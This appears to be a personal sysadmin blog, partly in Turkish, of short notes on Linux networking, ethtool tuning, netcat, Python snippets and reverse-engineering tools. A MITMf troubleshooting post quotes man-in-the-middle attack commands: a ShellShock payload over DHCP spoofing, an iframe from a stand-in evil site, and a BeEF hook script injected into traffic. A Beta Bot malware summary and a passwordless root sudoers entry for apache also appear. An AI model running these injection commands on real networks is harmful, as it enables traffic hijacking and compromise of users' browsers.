linux: how to get timezone information

timezone bilgisi /etc/localtime dosyasinda saklanir.
bu dosya binary formattadir. binary dosyalar icerisindeki degiskenler strings komutu ile analiz edilebilir.

$ strings /etc/localtime | more


timezone dosya boyutunu mevcut timezone dosyalari ile kiyaslayarak time zone bilgisi ogrenme:
$ cd /usr/share/zoneinfo
$ find * -type f -exec sh -c "diff -q /etc/localtime '{}' > /dev/null && echo {}" \;


datetime komutu ile timezone bilgisi ogrenme:
$ date +'%:z %Z'

linux shell: how to run bash command with timeout

bash$     (date >> /tmp/bw.log ; vnstat -l -i bond0 &>> /tmp/bw.log) & sleep 5 ; kill $!

linux shell: paste komutu kullanımı

$ cat testfile
A 1
B 2
C 3
D 4
E 5
F 6
G 7
H 8
I 9
J 10
                                                                                                                                                                                                                                         $ cut -d' ' -f2 testfile
1
2
3
4
5
6
7
8
9
10
                                                                                                                                                                                                                                         $ cut -d' ' -f2 testfile | paste -d, - -
1,2
3,4
5,6
7,8
9,10


Keywords: how to parse and group lines, how to convert lines to columns, how to  convert rows to columns

bash: how to send syslog test message

echo "<133>$0[$$]: Test syslog message from Netcat" | nc -w1 -u 192.168.1.254 1501

Linux: how to optimize an ethernet adapter settings

 Platform:

Red Hat Enterprise Linux Server release 6.5 (Santiago)
how to learn ethernet device driver details



ethtool -i eth1

# ethtool -i eth1
driver: igb
version: 5.2.5
firmware-version: 2.1.0
bus-info: 0000:01:00.1
supports-statistics: yes
supports-test: yes
supports-eeprom-access: yes
supports-register-dump: yes
supports-priv-flags: no


# lspci -v | grep -A 14 '01:00.1'
01:00.1 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
Subsystem: Intel Corporation Device 34de
Flags: bus master, fast devsel, latency 0, IRQ 28
Memory at b1a00000 (32-bit, non-prefetchable) [size=128K]
I/O ports at 1000 [size=32]
Memory at b1a40000 (32-bit, non-prefetchable) [size=16K]
Capabilities: [40] Power Management version 2
Capabilities: [50] MSI: Enable- Count=1/1 Maskable- 64bit+
Capabilities: [60] MSI-X: Enable+ Count=10 Masked-
Capabilities: [a0] Express Endpoint, MSI 00
Capabilities: [100] Advanced Error Reporting
Capabilities: [140] Device Serial Number 00-1e-67-ff-ff-0c-9a-29
Kernel driver in use: igb
Kernel modules: igb

how to list ethernet adapter list

[root@server~]# lspci | grep Ethernet
01:00.0 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
01:00.1 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
02:00.0 Ethernet controller: Intel Corporation I350 Gigabit Network Connection (rev 01)
02:00.1 Ethernet controller: Intel Corporation I350 Gigabit Network Connection (rev 01)

how to learn supported RX / TX ring buffer settings of an ethernet adapter

# ethtool -g eth1
Ring parameters for eth1:
Pre-set maximums:
RX: 4096
RX Mini: 0
RX Jumbo: 0
TX: 4096
Current hardware settings:
RX: 256
RX Mini: 0
RX Jumbo: 0
TX: 256

how to change ethernet adapter rx tx ring buffer settings

# ethtool -G eth1 rx 4096 tx 4096
# ethtool -g eth1
Ring parameters for eth1:
Pre-set maximums:
RX: 4096
RX Mini: 0
RX Jumbo: 0
TX: 4096
Current hardware settings:
RX: 4096
RX Mini: 0
RX Jumbo: 0
TX: 4096

how to change ethernet features for increase ids/ips packet processing performance

disable RX checksumming :
# ethtool -K eth1 rx off


disable TX checksumming
# ethtool -K eth1 tx off

disable TCP segmentation offload
# ethtool -K eth1 tso off

disable generic receive offload
# ethtool -K eth1 gro off

disable generic segmentation offload
# ethtool -K eth1 gso off


disable scatter-gather
# ethtool -K eth1 sg off

how to show features of ethernet adapter



# ethtool -k eth1
Features for eth1:
rx-checksumming: on
tx-checksumming: on
tx-checksum-ipv4: on
tx-checksum-ip-generic: off [fixed]
tx-checksum-ipv6: on
tx-checksum-fcoe-crc: off [fixed]
tx-checksum-sctp: off [fixed]
scatter-gather: on
tx-scatter-gather: on
tx-scatter-gather-fraglist: off [fixed]
tcp-segmentation-offload: on
tx-tcp-segmentation: on
tx-tcp-ecn-segmentation: off [fixed]
tx-tcp6-segmentation: on
udp-fragmentation-offload: off [fixed]
generic-segmentation-offload: on
generic-receive-offload: on
large-receive-offload: off
rx-vlan-offload: on
tx-vlan-offload: on
ntuple-filters: off [fixed]
receive-hashing: on
highdma: on [fixed]
rx-vlan-filter: on [fixed]
vlan-challenged: off [fixed]
tx-lockless: off [fixed]
netns-local: off [fixed]
tx-gso-robust: off [fixed]
tx-fcoe-segmentation: off [fixed]
fcoe-mtu: off [fixed]
tx-nocache-copy: on
loopback: off [fixed]
rx-fcs: off [fixed]
rx-all: off [fixed]


Keywords: eth0 overrun problem, eth0 drop problem, packet processsing, ips, ids, suricata, snort, bro network security monitor, packet drop


2015-10-08 - Ali Okan Yuksel - yukselao@yandex.com

mitmf: ImportError: cannot import name LOG

About mitmf:

MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving existing attacks and techniques.
 
Same as above with a ShellShock payload that will be executed if any client is vulnerable:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Inject an HTML IFrame using the Inject plugin:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Inject a JS script:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js



Hata:

Traceback (most recent call last):

  File "./mitmf.py", line 180, in <module>

    from core.protocols.smb.SMBserver import SMBserver

  File "/usr/share/mitmf/core/protocols/smb/SMBserver.py", line 5, in <module>

    from impacket import version, smbserver, LOG

ImportError: cannot import name LOG

Çözüm:

root@kali:~# pip install impacket --upgrade

Beta Bot Analysis

Win32.Neurevt, circulating under the name Beta Bot is an HTTP bot that entered in the underground market in the first part of 2013.

As we can see the information from the Sales Thread, this piece of code which written in C++ has many functionalities. Among others, we found:

• AV-Disabling
• Bot Killer
• Ring3 Rootkit
• Custom Injection Techniques
• Proactive Defense Mode

At less than €500, Beta Bot is sold relatively cheap, considering its vast feature list. It includes also standard features for today’s bots, like different DOS-attack methods, DNS Blocker, etc...


Reference & details:

http://resources.infosecinstitute.com/beta-bot-analysis-part-1/

http://resources.infosecinstitute.com/beta-bot-analysis-part-2/


Credits and References:

https://github.com/KenMacD/betabot-re
https://blog.fortinet.com/post/neurevt-bot-analysis
http://vrt-blog.snort.org/2014/05/betabot-process-injection.html
https://asert.arbornetworks.com/beta-bot-a-code-review/

IPMI: Intelligent Platform Management Interface

The Intelligent Platform Management Interface (IPMI) is a set of computer interface specifications for an autonomous computer subsystem that provides management and monitoring capabilities independently of the host system's CPU, firmware (BIOS or UEFI) and operating system. IPMI defines a set of interfaces used by system administrators for out-of-band management of computer systems and monitoring of their operation. For example, IPMI provides a way to manage a computer that may be powered off or otherwise unresponsive by using a network connection to the hardware rather than to an operating system or login shell.


fence_ipmilan

http://linux.die.net/man/8/fence_ipmilan

fence_ipmilan is an I/O Fencing agent which can be used with machines controlled by IPMI. This agent calls support software using ipmitool (http://ipmitool.sf.net/).
To use fence_ipmilan with HP iLO 3 you have to enable lanplus option (lanplus / -P) and increase wait after operation to 4 seconds (power_wait=4 / -T 4)
fence_ipmilan accepts options on the command line as well as from stdin. Fenced sends parameters through stdin when it execs the agent. fence_ipmilan can be run by itself with command line options. This is useful for testing and for turning outlets on or off from scripts.

python: multicast echo server

python: multicast echo server

code:

#!/usr/bin/python

##
# Author: Ali Okan Yuksel
# E-mail: okan.yuksel[at]vizyonarge.com
##

import socket
import struct
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 1111))
mreq = struct.pack("=4sl", socket.inet_aton("226.2.14.8"), socket.INADDR_ANY)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

while True:
  line=sock.recv(10240)
  print line
  print "--"

How to: Delete a remote Git tag

git tag -d 12345
git push origin :refs/tags/12345

python traceback module usage

In Python 2.x:

import traceback

try:
    raise TypeError("Oups!")
except Exception, err:
    try:
        raise TypeError("Again !?!")
    except:
        pass

    traceback.print_exc()

Python 3.x :

import traceback

try:
    raise TypeError("Oups!")
except Exception as err:
    try:
        raise TypeError("Again !?!")
    except:
        pass

    traceback.print_tb(err.__traceback__)

how to import csv file to sqlite3 database with custom a separator char on bash shell

how to import csv file to sqlite3 database with custom separator on bash shell:

echo -e '.separator ";"\n.import x datatmp' | sqlite3 /usr/local/app/graphs/data/data.db

stdout ciktisini ters cevirerek yazdirmak

tac - concatenate and print files in reverse


[root@node1 basic-setup]# cat /etc/resolv.conf
# Generated by NetworkManager
nameserver 8.8.8.8

[root@node1 basic-setup]# cat /etc/resolv.conf | tac
nameserver 8.8.8.8
# Generated by NetworkManager

sed: delete a line containing a specific string using gnu sed

sed -i '/pattern to match/d' ./infile

git archive ile branch export islemi

git archive <branch_name> | gzip > file.tgz

orn:

git archive beta | gzip > beta.tgz

linux shell: convert epoch time to datetime format

[root@logserver proxy]# date -d @1438240254 "+%F %T"
2015-07-30 10:10:54

python: reading fifo example

fifo - first-in first-out special file, named pipe

A FIFO special file (a named pipe) is similar to a pipe, except that

       it is accessed as part of the filesystem.  It can be opened by

       multiple processes for reading or writing.  When processes are

       exchanging data via the FIFO, the kernel passes all data internally

       without writing it to the filesystem.  Thus, the FIFO special file

       has no contents on the filesystem; the filesystem entry merely serves

       as a reference point so that processes can access the pipe using a

       name in the filesystem.

SEE ALSO  

mkfifo(1), open(2), pipe(2), sigaction(2), signal(2), socketpair(2), mkfifo(3), pipe(7)

fifo reader code:

#!/usr/bin/python

__author__ = "Ali Okan Yuksel <okan@siyahsapka.org>"

import sys

def main():

        print "INFO application started"

        fifo="okantest.fifo"

        fd=open(fifo,"r")

        while True:

                line = fd.readline()

                if line !="":

                        sys.stdout.write(line)

if __name__=="__main__":

        main()

data sender bash call:

[root@logserver ~]# for i in `seq 1 1000`; do echo $i > /opt/proxy/okantest.fifo ; done

linux: sudo ile yetkilendirme

sudo komutu ile sadece belirli bir komutun web uzerinden root yetkisi ile tetiklenmesi icin ihtiyac duymustum.

# cat /etc/sudoers.d/apache
apache        ALL=(ALL)       NOPASSWD: /opt/build/wwwroot/build.sh

netcat ile bağlantı testleri

Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.

It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.

TCP server:
# nc -k -l 23

UDP server:
# nc -k -u -l 23

TCP client:
# nc -w0 172.16.41.82 23 <<< "tcp client example"

UDP client:
# nc -w0 -u 172.16.41.82 23 <<< "udp client example"

-w:  timeout
-k:
-l: listen

 Syntax

nc [-46bCDdhklnrStUuvZz] [-I length] [-i interval] [-O length]
   [-P proxy_username] [-p source_port] [-q seconds] [-s source]
   [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
   [-x proxy_address[:port]] [destination] [port]

Options

-4    Forces nc to use IPv4 addresses only.
-6    Forces nc to use IPv6 addresses only.
-b    Allow broadcast.
-C    Send CRLF as line-ending.
-D    Enable debugging on the socket.
-d    Do not attempt to read from stdin.
-h    Prints out nc help.
-I length    Specifies the size of the TCP receive buffer.
-i interval    Specifies a delay time interval between lines of text sent and received. Also causes a delay time between connections to multiple ports.
-k    Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the -l option.
-l    Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host. It is an error to use this option in conjunction with the -p, -s, or -z options. Additionally, any timeouts specified with the -w option are ignored.
-n    Do not do any DNS or service lookups on any specified addresses, hostnames or ports.
-O length    Specifies the size of the TCP send buffer.
-P proxy_username    Specifies a username to present to a proxy server that requires authentication. If no username is specified then authentication will not be attempted. Proxy authentication is only supported for HTTP CONNECT proxies at present.
-p source_port    Specifies the source port nc should use, subject to privilege restrictions and availability.
-q seconds    after EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever.
-r    Specifies that source and/or destination ports should be chosen randomly instead of sequentially within a range or in the order that the system assigns them.
-S    Enables the RFC 2385 TCP MD5 signature option.
-s source    Specifies the IP of the interface which is used to send the packets. For UNIX-domain datagram sockets, specifies the local temporary socket file to create and use so that datagrams can be received. It is an error to use this option in conjunction with the -l option.
-T toskeyword    Change IPv4 TOS value. toskeyword may be one of critical, inetcontrol, lowcost, lowdelay, netcontrol, throughput, reliability, or one of the DiffServ Code Points: ef, af11 ... af43, cs0 ... cs7; or a number in either hex or decimal.
-t    Causes nc to send RFC 854 DON'T and WON'T responses to RFC 854 DO and WILL requests. This makes it possible to use nc to script telnet sessions.
-U    Specifies to use UNIX-domain sockets.
-u    Use UDP instead of the default option of TCP. For UNIX-domain sockets, use a datagram socket instead of a stream socket. If a UNIX-domain socket is used, a temporary receiving socket is created in /tmp unless the -s flag is given.
-V rtable    Set the routing table to be used. The default is 0.
-v    Have nc give more verbose output.
-w timeout    Connections which cannot be established or are idle timeout after timeout seconds. The -w flag has no effect on the -l option, i.e. nc will listen forever for a connection, with or without the -w flag. The default is no timeout.
-X proxy_protocol    Requests that nc should use the specified protocol when talking to the proxy server. Supported protocols are "4" (SOCKS v.4), "5" (SOCKS v.5) and "connect" (HTTPS proxy). If the protocol is not specified, SOCKS version 5 is used.
-x proxy_address[:port]    Requests that nc should connect to destination using a proxy at proxy_address and port. If port is not specified, the well-known port for the proxy protocol is used (1080 for SOCKS, 3128 for HTTPS).
-Z    DCCP mode.
-z    Specifies that nc should just scan for listening daemons, without sending any data to them. It is an error to use this option in conjunction with the -l option.

iphone: Illegal instruction: 4 hatası

jailbroken iphone device:

iPhone:/ root# ./usr/bin/aSMS
Illegal instruction: 4

iPhone:/ root# sed -i'' 's/\x00\x30\x93\xe4/\x00\x30\x93\xe5/g;s/\x00\x30\xd3\xe4/\x00\x30\xd3\xe5/g;' ./usr/bin/aSMS

iPhone:/ root# ldid -s ./usr/bin/aSMS
ldid.cpp(1205): _assert(signature != NULL); errno=0

iPhone:/ root# /usr/bin/aSMS
1437721353 set_ssl: cannot load libssl.0.9.7.dylib

iPhone:/ root# ls /usr/lib/libssl.*
/usr/lib/libssl.0.9.8.dylib  /usr/lib/libssl.dylib

iPhone:/ root# ln -s /usr/lib/libssl.0.9.8.dylib /usr/lib/libssl.0.9.7.dylib

iPhone:/ root# /usr/bin/aSMS
iPhone:/ root# launchctl load -w /Library/LaunchDaemons/com.googlecode.aSMS.plist

"hacking team" hacked

Someone hacked the cyberweapons arms manufacturer Hacking Team and posted 400 GB of internal company data.

Hacking Team is a pretty sleazy company, selling surveillance software to all sorts of authoritarian governments around the world. Reporters Without Borders calls it one of the enemies of the Internet. Citizen Lab has published many reports about their activities.
...
Source: https://www.schneier.com/blog/archives/2015/07/hacking_team_is.html

Slashdot thread. Hacker News thread.

Tixati bittorrent client http://www.tixati.com/

Disassemblers / decompilers

W32Dasm
W32DASM was an excellent 16/32 bit disassembler for Windows, it seems it is no longer developed. the latest version available is from 2003

Capstone
Capstone is a lightweight multi-platform, multi-architecture disassembly framework.
Some of ts features are

• multi-architectures: Arm, Arm64 (Armv8), Mips, PowerPC, Sparc, SystemZ, XCore & Intel
• Clean/simple/lightweight/intuitive architecture-neutral API.
• Provide details on disassembled instruction (called “decomposer” by some others).
• Provide some semantics of the disassembled instruction, such as list of implicit registers read & written.
• Implemented in pure C language, with bindings for Python, Ruby, C#, NodeJS, Java, GO, OCaml & Vala available.
• Native support for Windows & *nix (with Mac OSX, iOS, Android, Linux, *BSD & Solaris confirmed).
• Thread-safe by design.
• Special support for embedding into firmware or OS kernel.
• Distributed under the open source BSD license.

BORG Disassembler
BORG is an excellent Win32 Disassembler with GUI.

DSM Studio Disassembler
DSM Studio is an easy-to-use yet comprehensive application that can aid you in the disassembly and inspection of executables built for the Intel x86 architecture.

Decompiler
Decompiler is an easy to use and simply application designed to read program binaries and decompile executable or DLL files. The application is designed to decompile executables for any processor architecture and not be tied to a particular instruction set. Although currently only a x86 front end is implemented, there is nothing preventing you from implementing a 68K, Sparc, or VAX front end if you need one.

Lida - linux interactive disassembler
lida is a fast feature packed interactive ELF disassembler / code-/cryptoanalyzer based on bastards libdisasm

BugDbg x64 v0.7.5
BugDbg x64 is a user-land debugger designed to debug native 64-bit applications. BugDbg is released as Freeware.

distorm3
A lightweight, Easy-to-Use and Fast Disassembler/Decomposer Library for x86/AMD64

Udis86
Udis86 is an easy-to-use, minimalistic disassembler library (libudis86) for the x86 class of instruction set architectures. It has a convenient interface for use in the analysis and instrumentation of binary code.

BeaEngine
This project is a package with a multi-platform x86 and x64 disassembler library (Solaris, MAC OSX, AIX, Irix, OS/2, Linux, Windows)

C4 Decompiler

• General Machine Code to C Decompiler
• Free Windows I64 target edition
• Interactive Windows GUI

REC Studio 4 - Reverse Engineering Compiler
REC Studio is an interactive decompiler. It reads a Windows, Linux, Mac OS X or raw executable file, and attempts to produce a C-like representation of the code and data used to build the executable file. It has been designed to read files produced for many different targets, and it has been compiled on several host systems.

Retargetable Decompiler
A retargetable decompiler that can be utilized for source code recovery, static malware analysis, etc. The decompiler is supposed to be not bounded to any particular target architecture, operating system, or executable file format.

miasm
Miasm is a a free and open source (GPLv2) reverse engineering framework written in python. Miasm aims at analyzing/modifying/generating binary programs.

Free Code Manipulation Library
This is a general purpose machine code manipulation library for IA-32 and Intel 64 architectures. The library supports UNIX-like systems as well as Windows and is highly portable. The FCML library is free for commercial and non-commercial use as long as the terms of the LGPL license are met. Currently it supports such features as:

• A one-line disassembler
• A one-line assembler
• An experimental multi-pass load-and-go assembler (Multi line!)
• Support for the Intel and AT&T syntax
• An instruction renderer
• An instruction parser
• Instructions represented as generic models
• UNIX/GNU/Linux and Windows support
• Portable - written entirely in C (no external dependencies)
• Supported instruction sets: MMX, 3D-Now!, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2, SSE4A, AVX, AVX2, AES, TBM, BMI1, BMI2, HLE, ADX, CLMUL, RDRAND, RDSEED, FMA, FMA4, LWP, SVM, XOP, VMX, SMX

Examining an ELF binary with binutils

strings:       strings /usr/bin/who
dependencies:  ldd /usr/bin/yes
symbols:       nm -D -l -S /usr/bin/yes
sections:      objdump -h /usr/bin/who
data:          objdump -s -j .rodata /usr/bin/who
code:          objdump -d -r -j .text /usr/bin/who

linux: mounting dirty ext3 filesystems

# mount -o loop,ro,noexec,noload diskimage.img /media/

moongen: fully scriptable high-speed packet generator

MoonGen is a fully scriptable high-speed packet generator built on DPDK and LuaJIT. It can saturate a 10 GBit connection with 64 byte packets on a single CPU core while executing user-provided Lua scripts for each packet.

Multi-core support allows for even higher rates. It also features precise and accurate timestamping and rate control

https://www.kernel.org/doc/Documentation/vm/hugetlbpage.txt

echo 128 > /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
mkdir /mnt/huge
mount -t hugetlbfs nodev /mnt/huge

Installation steps

1.  Install the dependencies (see below)
2.  git submodule update --init
3.  ./build.sh
4.  ./setup-hugetlbfs.sh
5.  Run MoonGen from the build directory

## Dependencies

• * gcc
• * make
• * cmake
• * kernel headers (for the DPDK igb-uio driver)

Platform:

root@aliokan-xubuntu:/usr/src/MoonGen/build# uname -a
Linux aliokan-xubuntu 3.13.0-53-generic #89-Ubuntu SMP Wed May 20 10:34:39 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 
root@aliokan-xubuntu:/usr/src/MoonGen/build# lsb_release -a
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:    14.04
Codename:    t

# ./MoonGen quality-of-service-test.lua
EAL: Detected lcore 0 as core 0 on socket 0
EAL: Detected lcore 1 as core 1 on socket 0
EAL: Detected lcore 2 as core 2 on socket 0
EAL: Detected lcore 3 as core 3 on socket 0
EAL: Support maximum 64 logical core(s) by configuration.
EAL: Detected 4 lcore(s)
EAL: No free hugepages reported in hugepages-2048kB
PANIC in rte_eal_init():
Cannot get hugepage information
11: [./MoonGen() [0x416c23]]
10: [/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf5) [0x7fb133556ec5]]
9: [./MoonGen(main+0x7c) [0x41693c]]
8: [/usr/src/MoonGen/deps/luajit/usr/local/lib/libluajit-5.1.so.2(lua_pcall+0x2d) [0x7fb1344570cd]]
7: [/usr/src/MoonGen/deps/luajit/usr/local/lib/libluajit-5.1.so.2(+0xa5d3) [0x7fb1344485d3]]
6: [/usr/src/MoonGen/deps/luajit/usr/local/lib/libluajit-5.1.so.2(+0x5ce66) [0x7fb13449ae66]]
5: [/usr/src/MoonGen/deps/luajit/usr/local/lib/libluajit-5.1.so.2(+0x49084) [0x7fb134487084]]
4: [/usr/src/MoonGen/deps/luajit/usr/local/lib/libluajit-5.1.so.2(+0xc6d0) [0x7fb13444a6d0]]
3: [./MoonGen(rte_eal_init+0xf83) [0x427173]]
2: [./MoonGen(__rte_panic+0xc9) [0x4167a9]]
1: [./MoonGen(rte_dump_

Çözüm:

root@aliokan-xubuntu:/usr/src/MoonGen/build# grep Huge /proc/meminfo
AnonHugePages:    223232 kB
HugePages_Total:       0
HugePages_Free:        0
HugePages_Rsvd:        0
HugePages_Surp:        0
Hugepagesize:       2048 k

root@aliokan-xubuntu:/usr/src/MoonGen/build# echo 20 > /proc/sys/vm/nr_hugepages

root@aliokan-xubuntu:/usr/src/MoonGen/build# grep Huge /proc/meminfo
AnonHugePages:    223232 kB
HugePages_Total:      20
HugePages_Free:       20
HugePages_Rsvd:        0
HugePages_Surp:        0
Hugepagesize:       2048 kB

logs: https://gist.github.com/anonymous/e517b7ccd8c6a0d6f682

http://www.cnblogs.com/zzqcn/p/4024205.html